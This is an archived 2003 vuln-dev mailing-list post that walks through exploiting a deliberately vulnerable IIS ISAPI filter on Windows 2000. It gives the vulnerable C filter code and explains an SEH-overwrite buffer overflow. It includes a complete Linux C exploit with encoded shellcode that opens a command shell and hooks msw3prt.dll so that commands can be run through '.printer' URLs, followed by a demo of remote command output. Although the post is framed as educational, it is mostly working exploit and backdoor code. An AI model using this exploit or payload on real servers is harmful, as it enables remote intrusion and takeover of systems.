An exercise to exploit IIS ISAPI filter

From: master_moda@yahoo.com
Date: 01/15/03

  • Next message: Oliver Lavery: "What to do with a vulerability?"
    Date: 15 Jan 2003 04:39:14 -0000
    From: <master_moda@yahoo.com>
    To: vuln-dev@securityfocus.com
    
    
    ('binary' encoding is not supported, stored as-is)

    An exercise to exploit Internet Information Server on W2000
            --This paper intended for educational purpose only.

    +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
    +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

    Long time back when Codered and Nimda spread across the internet, my
    computers were hardhit by them. After lots of effort of cleaning the
    virus, I began curious how they manage to reproduce around the Internet
    and pass into corperate firewall. Thus I disassembled codered (following
    the description from eeye) and another well known for-fun virus named jill,
    ......

    And finally as an exercise, I developed a vulnerable ISAPI filter (see
    below) and sucessfully exploited it. The filter is used by IIS on Window
    2000 server. Here is the steps I like to share with other system
    administrators like me who want to know how the virus works:

    1.
    First comes the vulerable code:

    <========================Logger.cpp===========================>

    #include <windows.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <httpfilt.h>
    #include <EXCPT.H>
    #include <WTYPES.H>

    BOOL APIENTRY DllMain( HANDLE hModule,
                           DWORD ul_reason_for_call,
                           LPVOID lpReserved
                                             )
    {
        return TRUE;
    }

    BOOL WINAPI __stdcall
    GetFilterVersion(HTTP_FILTER_VERSION * pVer)
    {
            //set the flags and request the notications that we need for this
    to work

         pVer->dwFlags = (SF_NOTIFY_SECURE_PORT |
                                                       
    SF_NOTIFY_NONSECURE_PORT |
                                                       SF_NOTIFY_ORDER_LOW |
                                            
               //SF_NOTIFY_SEND_RESPONSE |
                                            
               //SF_NOTIFY_END_OF_NET_SESSION |
                                                       SF_NOTIFY_LOG
                                                       );

        pVer->dwFilterVersion = HTTP_FILTER_REVISION;
        strcpy( pVer->lpszFilterDesc, "Server Type Changer");
        return TRUE;
    }

    DWORD WINAPI __stdcall
    HttpFilterProc(HTTP_FILTER_CONTEXT * pfc, DWORD notificationType,
                      VOID * pvNotification)
    {

            PHTTP_FILTER_LOG pLogData;
            OutputDebugString("Entered HttpFilterProc\n");

            switch (notificationType)
            {
                     case SF_NOTIFY_LOG:
                            {
                             OutputDebugString("HttpFilterProc:Logging\n");
            
                             
                             TCHAR sz[256];

                              pLogData = (PHTTP_FILTER_LOG)pvNotification;
                              sprintf(sz, "Client Machine: %s , Username: %s,
    Server\
                                    Machine: %s, Target Path: %s\n", \
                             pLogData->pszClientHostName,pLogData-
    >pszClientUserName,\
                                    pLogData->pszServerName, pLogData-
    >pszTarget );
                                    
                            }
                     break;
                     default:
                             OutputDebugString
    ("HttpFilterProc:Default\n");
                     break;

             }

         return SF_STATUS_REQ_NEXT_NOTIFICATION;
    }
        
       
    <=============================================================>

    The function of this filter is merely to log the HTTP request from client.
    As you can see, the function sprintf has a buffer overflow bug and this is
    the weak point to insert our exploitation code.

    2.
    compile Logger.cpp into Logger.dll and configure your IIS to import this
    dll----You can do this by rightclicking the victim web server from IIS
    Service Manager,choose properties, then ISAPI Filter and from here you can
    define the Logger.dll as ISAPI filter.

    3.
    Now comes the exploit description:

    When a malicious client send the exploit code to the vulerable IIS,
    exploit code will reach the IIS memory space because ISAPI filter was
    loaded into the same memory space as its host--IIS.

    As the exploit code overflow the buffer, the return address of normal
    function call got messed up inside IIS filter. And not only that, We will
    let the exploit code continue overflowing the memory as far as the
    excepion handler----the handler is replaced by an address(0x77ed5c99)
    inside kernel.dll, This address contain instruction "call ebx" in my W2000
    configuration.

    An Access violation exception happen when IIS filter handling the
    malicious HTTP request and as a result, system will resort the exception
    handler to clean the mess. But remember that the exception handler itself
    got overwritten also, it is now point to "call ebx", so the IIS
    instruction flow into whatever location the register ebx point to.

    You may figure out that register ebx contain an address not far away from
    our exploit code when exception is raised. Thus when system invoke
    exception handler to clean the mess, the instruction flow divert into our
    exploit code.

    The exploit code will then do the following, in a roughly order:
    -- spawn a cmd shell with read/write pipe handler
    -- modify another dll----msw3prt.dll inside IIS memory in such way
    that any invocation to this dll got divert into our exploit code. Also
    note that the invocation URL to msw3prt will has exploit command embedded
    inside, for example:
            http://victim/null.printer?net[user.
    Using "[" instead of " " is to avoid " " being interpreted as %20.
    -- Exploit code accept the URL and read the exploit command. After
    replace "[" with " ", it then send this to the cmd shell through the shell
    pipe.
    -- Read the execution result from cmd shell and pass back to HTTP
    client through writeClient function available from Extension Control
    block. The Extension Control Block is a block of infomation for ISAPI.

    5.
    Here is the exploit code from linux
    ========================moda.c============================================

    #define SIZE 4106
    #define ADJUST 1250

    #include <sys/types.h>
    #include <sys/time.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <unistd.h>
    #include <errno.h>
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    #include <fcntl.h>
    #include <netdb.h>

    int main(int argc, char *argv[]){

    unsigned char httpheader1[20]= // GET /HERO.htm"
    "\x47\x45\x54\x20"
    "\x2f\x48\x45\x52"
    "\x4f\x2e\x68\x74"
    "\x6d\x00";

    unsigned char httpheader2[256]=
    "\xeb\x06\x90\x90"
    "\x99\x5c\xed\x77"
    "\x81\xc3\xde\xfc"
    "\xff\xff\xff\xd3"
    "\x20\x20\x48\x54"
    "\x54\x50\x2f\x31"
    "\x2e\x30\x0D\x0A"
    "\x43\x6F\x6E\x74"
    "\x65\x6E\x74\x2D"
    "\x74\x79\x70\x65"
    "\x3a\x20\x74\x65"
    "\x78\x74\x2f\x78"
    "\x6d\x6c\x20\x41"
    "\x63\x63\x65\x70"
    "\x74\x3a\x20\x2a"
    "\x2f\x2a\x0a\x43"
    "\x6f\x6e\x74\x65"
    "\x6e\x74\x2d\x6c"
    "\x65\x6e\x67\x74"
    "\x68\x3a\x20\x32"
    "\x37\x30\x34\x20"
    "\x0d\x0a\x0d\x0a"
    "\x00";

    char payload[]=
    "\x83\xEB\xF1\x33\xC9\x66\xB9\x13\x03\x80\x33\x96\x43\xE2\xFA"
    /* Payload encoded with x96*/
    "\x7f"
    "\x13\x97\x96\x96\xcc\x2e\x96\x96\x67\xe1\x17\xae\xdb\xcc\x06\x96"
    "\xe2\x95\xde\x7d\x63\x1d\x4e\x1d\xe5\xaa\x95\x65\x1d\xe0\xee\x95"
    "\x65\x1d\xe8\xb6\x95\x6d\x1d\xd8\x82\xa5\x7b\xc0\xc1\xc7\x1d\xa9"
    "\x95\x6d\x1d\x64\x2f\x98\x96\x96\x96\x65\x30\xe2\x9e\xcf\xc9\x15"
    "\x51\x92\xd3\x74\x71\xcf\xc9\xc8\x1d\x5b\x1d\xd0\xb2\x95\x55\x47"
    "\x77\x95\x57\xa5\x5f\xf0\x1d\x9e\x1d\xd0\x8a\x95\x55\x57\x77\x94"
    "\x95\x57\x1d\x96\x95\x55\x1d\x64\x1d\x68\x1d\x46\x2f\x9a\x96\x96"
    "\x96\x7e\x96\x97\x96\x96\xa5\x56\x3a\x13\x56\xe3\x6f\xc4\xc0\x69"
    "\xc1\x46\xcc\x1d\x4e\x2f\x97\x96\x96\x96\x7e\x71\x96\x96\x96\xfe"
    "\x96\x93\x96\x96\xfc\xd6\x69\xc1\x76\x1f\xd1\x9e\x51\xd1\x8a\x9a"
    "\x96\x96\x96\x51\xd1\xb6\x96\x96\x96\x96\x51\xd1\xb2\x97\x96\x96"
    "\x96\xfc\x96\x1b\xd1\x8a\xc6\x1b\xd1\x9a\xc6\x1b\xd1\x86\xc6\x69"
    "\xc1\x46\xfc\x96\x1b\xd1\x8a\xc6\x1b\xd1\x82\xc6\x1b\xd1\x8e\xc6"
    "\x69\xc1\x46\x1b\xd1\xbe\xc6\x69\xc1\x42\x1d\xd1\x9a\x1f\xd1\xf2"
    "\x1f\xd1\xfe\x1d\xd1\x8e\x1f\xd1\xf6\x17\xd9\xc2\x97\x97\x96\x96"
    "\xf0\x51\xd1\xce\x96\x96\x1b\xd1\xfa\xc6\x1b\xd1\xbe\xc6\xa5\x56"
    "\xc6\xc6\xc6\xfc\x97\xc6\xc6\x1d\x79\x17\x53\x3e\x96\x96\x96\xc3"
    "\xc6\x69\xc1\x4e\x69\xe1\x9a\x69\xc1\x6e\x69\xe1\x8e\x69\xc1\x6e"
    "\x1b\xd1\x92\xc6\xfc\x92\xfe\x96\x97\x96\x96\x1d\xc1\x6a\xc4\x69"
    "\xc1\x7a\xc0\xc5\x1d\x49\x1b\x21\x26\x96\x96\x96\x15\x50\x9f\x1b"
    "\x11\x56\x96\x96\x96\x1f\x90\x15\x50\x61\x1d\xed\x6a\x2f\x99\x96"
    "\x96\x96\x65\x32\x1d\x6d\xcd\xc8\x1b\xd1\x92\xc6\x1d\xd1\x92\xc6"
    "\xfe\x96\x97\x96\x96\x1d\xc1\x6a\xc4\x69\xc1\x7a\xfe\x96\x4b\xfb"
    "\x96\x69\xc1\x66\x7d\x60\xa5\x56\x3a\x13\x56\xe3\x6f\xc7\xc4\xc0"
    "\xc5\x69\x44\xcc\xcf\x3d\x74\x78\x55\x7e\xe0\x68\x69\x69\xd1\xf3"
    "\xe2\xc6\xe4\xf9\xf5\xd7\xf2\xf2\xe4\xf3\xe5\xe5\x96\xda\xf9\xf7"
    "\xf2\xda\xff\xf4\xe4\xf7\xe4\xef\xd7\x96\xd5\xe4\xf3\xf7\xe2\xf3"
    "\xc6\xff\xe6\xf3\x96\xd1\xf3\xe2\xc5\xe2\xf7\xe4\xe2\xe3\xe6\xdf"
    "\xf8\xf0\xf9\xd7\x96\xd5\xe4\xf3\xf7\xe2\xf3\xc6\xe4\xf9\xf5\xf3"
    "\xe5\xe5\xd7\x96\xc6\xf3\xf3\xfd\xd8\xf7\xfb\xf3\xf2\xc6\xff\xe6"
    "\xf3\x96\xd1\xfa\xf9\xf4\xf7\xfa\xd7\xfa\xfa\xf9\xf5\x96\xc1\xe4"
    "\xff\xe2\xf3\xd0\xff\xfa\xf3\x96\xc4\xf3\xf7\xf2\xd0\xff\xfa\xf3"
    "\x96\xc0\xff\xe4\xe2\xe3\xf7\xfa\xc6\xe4\xf9\xe2\xf3\xf5\xe2\x96"
    "\xc5\xfa\xf3\xf3\xe6\x96\xd3\xee\xff\xe2\xc6\xe4\xf9\xf5\xf3\xe5"
    "\xe5\x96\xd5\xfa\xf9\xe5\xf3\xde\xf7\xf8\xf2\xfa\xf3\x96\xdb\xc5"
    "\xc1\xa5\xc6\xc4\xc2\x96\xde\xe2\xe2\xe6\xd3\xee\xe2\xf3\xf8\xe5"
    "\xff\xf9\xf8\xc6\xe4\xf9\xf5\x96\x06\x06\x06\x06\x06\x06\x06\x06"
    "\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06"
    "\x06\x06\x06\x06\x06\x06\x06\x06\x96\x96\xf5\xfb\xf2\xb8\xf3\xee"
    "\xf3\x96\x06\x06\x06\x06\x06\x06\x06\x06\x2e\x96\x96\x67\xe1\x69"
    "\x46\x96\x06\x06\x06\x15\x52\x92\xf6\x7e\x96\x96\x96\x96\xc9\x17"
    "\x79\x5a\x96\x96\x96\x1d\xcb\x86\xfc\x96\xc1\xa5\x56\xa5\x44\x1d"
    "\xe5\xf2\x3a\xd4\x15\x6e\xcd\xe3\x92\x50\xd0\x69\xb6\x13\x56\xe3"
    "\x67\x50\xd0\x69\x9b\x50\x90\x9c\x50\xd0\x97\x96\xd4\xc4\x69\xe5"
    "\xf2\x69\xe1\x82\x69\xc1\x72\xfc\xf2\x69\xc1\x66\xa5\x5f\xc7\xc1"
    "\xc7\xc7\xc7\x69\xe1\x86\x69\xc1\x4a\x13\x56\xe2\xa6\x16\xa9\x96"
    "\xe2\xb1\xfc\x96\xc1\xfe\x96\x93\x96\x96\x69\xe1\x9e\x69\xe1\x86"
    "\x69\xc1\x7e\x13\x56\xe2\x80\xfc\x96\xc1\x69\xe1\x9e\x1d\xdd\x9e"
    "\xc7\x69\x05\x12\x96\x96\x96\x7d\x28\xf7\x54\x92\x96\xfc\x97\x69"
    "\xc1\x62";

    unsigned char *ptr;
    unsigned char sploit[SIZE];

    int s;
    unsigned short int a_port;
    unsigned long a_host;
    struct hostent *ht;
    struct sockaddr_in sin;

    if (argc != 3){
            printf("usage: %s <victimHost> <victimPort> \n",argv[0]);
            exit(1);
    }

    if ((ht = gethostbyname(argv[1])) == 0){
            herror(argv[1]);
            exit(1);
    }
    sin.sin_port = htons(atoi(argv[2]));
    sin.sin_family = AF_INET;
    sin.sin_addr = *((struct in_addr *)ht->h_addr);

    ptr=sploit;
    memcpy(ptr, httpheader1, strlen(httpheader1) );
    ptr+=strlen(httpheader1);
    memset(ptr,'\x90', SIZE - strlen(httpheader1) - strlen(httpheader2) -strlen
    (payload)
     -ADJUST);
    ptr+=SIZE - strlen(httpheader1) -strlen(httpheader2) - strlen(payload) -
    ADJUST;
    memcpy(ptr, payload, strlen(payload) );
    ptr+= strlen(payload);
    memcpy(ptr, httpheader2, strlen(httpheader2));

    if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
            perror("socket");
            exit(1);
    }

    printf("\nconnecting... \n");

    if ((connect(s, (struct sockaddr *) &sin, sizeof(sin))) == -1){
            perror("connect");
            exit(1);
    }

    write(s, sploit, SIZE-ADJUST);
    sleep (5);
    close (s);

    printf("sent... \n");
    exit(0);
    }

    ==========================================================================

    6.
    Now here is the demo of how the exploit code work through a web browser
    such as MS internet explorer:

    From explorer address send the URL
    http://victim/null.printer?dir

    after a while, the browser got response:

    D:\WINNT\system32>dir
     Volume in drive D has no label.
     Volume Serial Number is 7086-EBAD

     Directory of D:\WINNT\system32

    07/11/2002 10:46p <DIR> .
    07/11/2002 10:46p <DIR> ..
    10/29/2001 03:29p 647 $winnt$.inf
    10/29/2001 03:35p 4,108 $WINNT$.PNF
    06/26/2000 09:15a 2,151 12520437.cpx
    06/26/2000 09:15a 2,233 12520850.cpx
    12/07/1999 05:00a 32,016 aaaamon.dll
    12/07/1999 05:00a 67,344 access.cpl
    12/07/1999 05:00a 13,753 accserv.mib
    12/07/1999 05:00a 59,904 acctres.dll
    12/07/1999 05:00a 150,800 accwiz.exe
    12/07/1999 05:00a 61,952 acelpdec.ax
    12/07/1999 05:00a 131,856 acledit.dll
    12/07/1999 05:00a 78,096 aclui.dll
    12/07/1999 05:00a 33,298 acs.mib
    12/07/1999 05:00a 4,368 acsetupc.dll
    12/07/1999 05:00a 17,168 acsetups.exe
    12/07/1999 05:00a 11,536 acsmib.dll
    .........
    12/07/1999 05:00a 73,776 wshom.ocx
    12/07/1999 05:00a 17,680 wshtcpip.dll
    12/07/1999 05:00a 39,696 wsnmp32.dll
    12/07/1999 05:00a 21,776 wsock32.dll
    12/07/1999 05:00a 14,608 wtsapi32.dll
    12/07/1999 05:00a 25,872 wupdinfo.dll
    12/07/1999 05:00a 47,376 wupdmgr.exe
    12/07/1999 05:00a 92,432 xactsrv.dll
    12/07/1999 05:00a 28,432 xcopy.exe
    12/07/1999 05:00a 110,664 xenroll.dll
    12/07/1999 05:00a 641,808 xiffr3_0.dll
    12/07/1999 05:00a 17,680 xolehlp.dll
                2017 File(s) 291,632,897 bytes
                  33 Dir(s) 531,480,576 bytes free

    D:\WINNT\system32>

    P.S.
    The New IIS6.0, part of Microsoft .NET server has hugh improvement against
    virus/worm, at least that's the feeling I got when reading MSDN papers:
    1. The IIS LockDown has removed lots of unused dynamic script type,
    including .printer which the above exploit code has abuse. It also disable
    unnecessary service.
    2. The IIS URLScan is a ISAPI filter that try to catch malicious URL:
            A extreme long URL like the one in our exploit may have malicious
    code embeded inside, so web master can preset the maximum size of URL
    allowed.
            A URL with non-ascii byte inside is also dangerous, URLScan is
    also able to catch that.



    Relevant Pages

    • Re: Basic Authentication fails with Error 401.2 where Integrated s
      ... culprits whenever IIS is not behaving the way it should. ... It sounds like the ISAPI Filter is doing one standard Custom ... back a HTML page that POSTs the username/password back to the server. ... Account: COMPUTERNAME\ACCOUNTNAME Access type: FULL ...
      (microsoft.public.inetserver.iis.security)
    • Re: Cant access RWW,company web works
      ... everything works fine inside LAN and over Internet! ... The issue may be caused by the IIS configuration. ... Try to access the RWW site ...
      (microsoft.public.windows.server.sbs)
    • Re: OWA/RWW question
      ... Thanks, Crina, I think the latter part will help, I had at one point ... changed the IIS server IP address due to a router switch and may not ... entire Web site from the Internet" is selected. ...
      (microsoft.public.windows.server.sbs)
    • RE: SBS SP1 upgrade issues
      ... was already properly set ... Open IIS MMC, right click Default Web Site and then click Properties. ... you can find the path for IIS log file. ... Open Internet Information Services Manager console in ...
      (microsoft.public.windows.server.sbs)
    • Re: Using IIS ISAPI filters on ISA 2000 as web filters
      ... that works wonderfully in IIS. ... configure an IIS ISAPI filter to act as a "webfilter" within the ... that intercepts HTTP requests and lets you authenticate ... >> Activate filter code ...
      (comp.security.firewalls)